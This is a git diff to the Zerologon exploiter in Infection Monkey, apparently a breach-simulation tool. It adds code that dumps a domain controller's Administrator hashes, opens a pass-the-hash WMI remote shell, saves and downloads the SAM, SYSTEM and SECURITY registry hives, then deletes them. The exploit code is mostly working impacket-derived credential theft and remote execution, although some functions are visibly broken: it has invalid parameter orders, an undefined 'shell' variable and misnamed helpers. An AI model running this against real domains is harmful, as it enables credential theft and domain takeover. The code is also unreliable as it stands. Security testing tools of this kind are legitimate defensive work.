diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 6a8ee80c8..2631027ed 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -6,18 +6,23 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g from __future__ import division, print_function import argparse +import cmd import codecs import io import logging +import ntpath import os import re import sys +import time from binascii import hexlify, unhexlify import impacket from Cryptodome.Cipher import AES, ARC4, DES from impacket import crypto, version from impacket.dcerpc.v5 import epm, nrpc, transport +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.ndr import NDRCALL from impacket.examples import logger @@ -25,7 +30,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets, NTDSHashes, RemoteOperations, SAMHashes) from impacket.krb5.keytab import Keytab -from impacket.smbconnection import SMBConnection +from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21, + SMB_DIALECT, SMBConnection) from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.network.zerologon_fingerprint import ZerologonFinger @@ -33,6 +39,24 @@ from infection_monkey.network.zerologon_fingerprint import ZerologonFinger LOG = logging.getLogger(__name__) +_orig_stdout = None +_new_stdout = None + + +def _set_stdout_to_in_memory(): + # set stdout to in-memory text stream, to capture info that would otherwise be printed + _orig_stdout = sys.stdout + _new_stdout = io.StringIO() + sys.stdout = _new_stdout + + +def _unset_stdout_and_return_captured(): + # set stdout to original and return captured output + sys.stdout = _orig_stdout + _new_stdout.seek(0) + return _new_stdout.read() + + class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Netlogon' @@ -58,8 +82,9 @@ class ZerologonExploiter(HostExploiter): 'resumefile': None, 'sam': None, 'security': None, - 'system': None, - # target and target_ip are assigned in get_original_pwd_nthash() + 'system': None, # sam, security, and system are assigned in a copy in get_original_pwd_nthash() + 'target': '', + 'target_ip': '', # target and target_ip are assigned in a copy in get_admin_pwd_hashes() 'ts': False, 'use_vss': False, 'user_status': False @@ -145,11 +170,13 @@ class ZerologonExploiter(HostExploiter): LOG.info("Restoring original password...") LOG.info("DCSync; getting original password hashes.") - original_pwd_nthash = self.get_original_pwd_nthash(DC_NAME, DC_IP) + admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP) try: - if not original_pwd_nthash: - raise Exception("Couldn't extract nthash of original password.") + if not admin_pwd_hashes: + raise Exception("Couldn't extract admin password's hashes.") + + original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes) for _ in range(0, self.MAX_ATTEMPTS): rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) @@ -164,29 +191,75 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.error(e) - def get_original_pwd_nthash(self, DC_NAME, DC_IP): - dumped_secrets = self.get_dumped_secrets(DC_NAME, DC_IP) - for secret in dumped_secrets: - if DC_NAME in secret: - nthash = secret.split(':')[3] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::" - return nthash - - def get_dumped_secrets(self, DC_NAME, DC_IP): - self.OPTIONS_FOR_SECRETSDUMP['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" - self.OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP + def get_admin_pwd_hashes(self, DC_NAME, DC_IP) -> str: + options = self.OPTIONS_FOR_SECRETSDUMP.copy() + options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" + options['target_ip'] = DC_IP domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( - self.OPTIONS_FOR_SECRETSDUMP['target']).groups('') + options['target']).groups('') # In case the password contains '@' if '@' in remote_name: password = password + '@' + remote_name.rpartition('@')[0] remote_name = remote_name.rpartition('@')[2] - dumper = DumpSecrets(remote_name, username, password, domain, self.OPTIONS_FOR_SECRETSDUMP) + dumped_secrets = self.get_dumped_secrets(remote_name=remote_name, + username=username, + password=password, + domain=domain, + options=options) + for secret in dumped_secrets: + if 'Administrator' in secret: + hashes = secret.split(':')[2:4] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::" + return ':'.join(hashes) # format - "lmhash:nthash" + + def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): + self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes) + + options = self.OPTIONS_FOR_SECRETSDUMP.copy() + for name in ['system', 'sam', 'security']: + options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') + + dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', + options=options) + for secret in dumped_secrets: + if '$MACHINE.ACC: ' in secret: # format - "$MACHINE.ACC: lmhash:nthash" + nthash = secret.split(':')[-1] + return nthash + + def get_dumped_secrets(self, remote_name='', username='', password='', domain='', options): + dumper = DumpSecrets(remote_name, username, password, domain, options) dumped_secrets = dumper.dump().split('\n') return dumped_secrets + def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes): + remote_shell = WmiexecRemoteShell(host=self.host, + username='Administrator', + domain=DC_IP, + hashes=':'.join(admin_pwd_hashes)) + if remote_shell: + _set_stdout_to_in_memory() + + # save HKLM keys on host + shell.onecmd('reg save HKLM\SYSTEM system.save && ' + + 'reg save HKLM\SAM sam.save && ' + + 'reg save HKLM\SECURITY security.save') + + # get HKLM keys locally (can't run these together because it needs to call do_get()) + shell.onecmd('get system.save') + shell.onecmd('get sam.save') + shell.onecmd('get security.save') + + # delete saved keys from host + shell.onecmd('del /f system.save sam.save security.save') + + info = _unset_stdout_and_return_captured() + LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") + + else: + raise Exception("Could not start remote shell on DC.") + def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): # Connect to the DC's Netlogon service. rpc_con = self.connect_to_dc(DC_IP) @@ -268,7 +341,7 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL): # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py -# Used to get original password hash +# Used to get Administrator and original DC passwords' hashes class DumpSecrets: def __init__(self, remote_name, username='', password='', domain='', options=None): self.__use_VSS_method = options['use_vss'] @@ -310,16 +383,10 @@ class DumpSecrets: def connect(self): self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) - if self.__do_kerberos: - self.__smb_connection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, - self.__nthash, self.__aes_key, self.__kdc_host) - else: - self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): - orig_stdout = sys.stdout - new_stdout = io.StringIO() - sys.stdout = new_stdout # setting stdout to an in-memory text stream, to capture hashes that would else be printed + _set_stdout_in_memory() dumped_secrets = '' try: @@ -454,9 +521,7 @@ class DumpSecrets: except: pass finally: - sys.stdout = orig_stdout - new_stdout.seek(0) - dumped_secrets = new_stdout.read() # includes hashes and kerberos keys + dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys return dumped_secrets def cleanup(self): @@ -475,3 +540,167 @@ class DumpSecrets: # mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not # mention patching details in report # add exploit info to documentation + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py +# Used to get HKLM keys for restoring original DC password +class WmiexecRemoteShell: + OUTPUT_FILENAME = '__' + str(time.time()) + CODEC = sys.stdout.encoding + + def __init__(self, host, username, password='', domain='', hashes, share=None, noOutput=False): + self.host = host + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash, self.__nthash = hashes.split(':') + self.__share = share + self.__noOutput = noOutput + self.shell = None + + def run(self): + if self.__noOutput is False: + smbConnection = SMBConnection(self.host.ip_addr, self.host.ip_addr) + smbConnection.login(user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash) + + dcom = DCOMConnection(target=self.host.ip_addr, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True) + + try: + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + iWbemLevel1Login.RemRelease() + + win32Process, _ = iWbemServices.GetObject('Win32_Process') + + self.shell = RemoteShell(self.__share, win32Process, smbConnection) + # return self.shell? + except (Exception, KeyboardInterrupt) as e: + LOG.error(str(e)) + smbConnection.logoff() + dcom.disconnect() + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py +# Used to start remote shell on victim +class RemoteShell(cmd.Cmd): + def __init__(self, share, win32Process, smbConnection): + cmd.Cmd.__init__(self) + self.__share = share + self.__output = '\\' + self.OUTPUT_FILENAME + self.__outputBuffer = str('') + self.__shell = 'cmd.exe /Q /c ' + self.__win32Process = win32Process + self.__transferClient = smbConnection + self.__pwd = str('C:\\') + self.__noOutput = True + + # We don't wanna deal with timeouts from now on. + if self.__transferClient is not None: + self.__transferClient.setTimeout(100000) + self.do_cd('\\') + else: + self.__noOutput = True + + def do_get(self, src_path): + try: + import ntpath + newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) + drive, tail = ntpath.splitdrive(newPath) + filename = ntpath.basename(tail) + local_file_path = os.path.join(os.path.expanduser('~'), 'monkey-'+filename) + fh = open(local_file_path, 'wb') + LOG.info("Downloading %s\\%s" % (drive, tail)) + self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) + fh.close() + except Exception as e: + LOG.error(str(e)) + if os.path.exists(local_file_path): + os.remove(local_file_path) + + def do_exit(self, s): + return True + + def do_cd(self, s): + self.execute_remote('cd ' + s) + if len(self.__outputBuffer.strip('\r\n')) > 0: + print(self.__outputBuffer) + self.__outputBuffer = '' + else: + self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self.__pwd + '>') + self.__outputBuffer = '' + + def default(self, line): + # Let's try to guess if the user is trying to change drive + if len(line) == 2 and line[1] == ':': + # Execute the command and see if the drive is valid + self.execute_remote(line) + if len(self.__outputBuffer.strip('\r\n')) > 0: + # Something went wrong + print(self.__outputBuffer) + self.__outputBuffer = '' + else: + # Drive valid, now we should get the current path + self.__pwd = line + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self.__pwd + '>') + self.__outputBuffer = '' + else: + if line != '': + self.send_data(line) + + def get_output(self): + def output_callback(data): + try: + self.__outputBuffer += data.decode(self.CODEC) + except UnicodeDecodeError: + LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py ' + 'again with -codec and the corresponding codec') + self.__outputBuffer += data.decode(self.CODEC, errors='replace') + + if self.__noOutput is True: + self.__outputBuffer = '' + return + + while True: + try: + self.__transferClient.getFile(self.__share, self.__output, output_callback) + break + except Exception as e: + if str(e).find('STATUS_SHARING_VIOLATION') >= 0: + # Output not finished, let's wait + time.sleep(1) + pass + elif str(e).find('Broken') >= 0: + # The SMB Connection might have timed out, let's try reconnecting + LOG.debug('Connection broken, trying to recreate it') + self.__transferClient.reconnect() + return self.get_output() + self.__transferClient.deleteFile(self.__share, self.__output) + + def execute_remote(self, data): + command = self.__shell + data + if self.__noOutput is False: + command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' + self.__win32Process.Create(command, self.__pwd, None) + self.get_output() + + def send_data(self, data): + self.execute_remote(data) + print(self.__outputBuffer) + self.__outputBuffer = ''